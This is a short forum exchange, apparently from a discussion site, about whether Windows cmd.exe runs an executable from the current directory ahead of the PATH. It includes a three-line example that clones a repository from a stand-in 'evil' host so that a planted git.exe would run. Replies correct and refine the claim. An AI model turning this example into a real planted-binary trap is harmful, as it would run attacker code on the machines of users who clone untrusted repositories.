[lyu07282]

Could file a CVE with Microsoft then, cause thats kinda what cmd.exe is doing:

    > git clone git://evil evil
    > cd evil\
    > git status

The last line would execute git.exe from the cloned repo, wouldn't it?

[frabera]

No, `git` uses the binary in path, to use the repo file it should be `./git.exe`

[kubanczyk]

On Linux.

Look for `NoDefaultCurrentDirectoryInExePath` if you want to learn about Windows.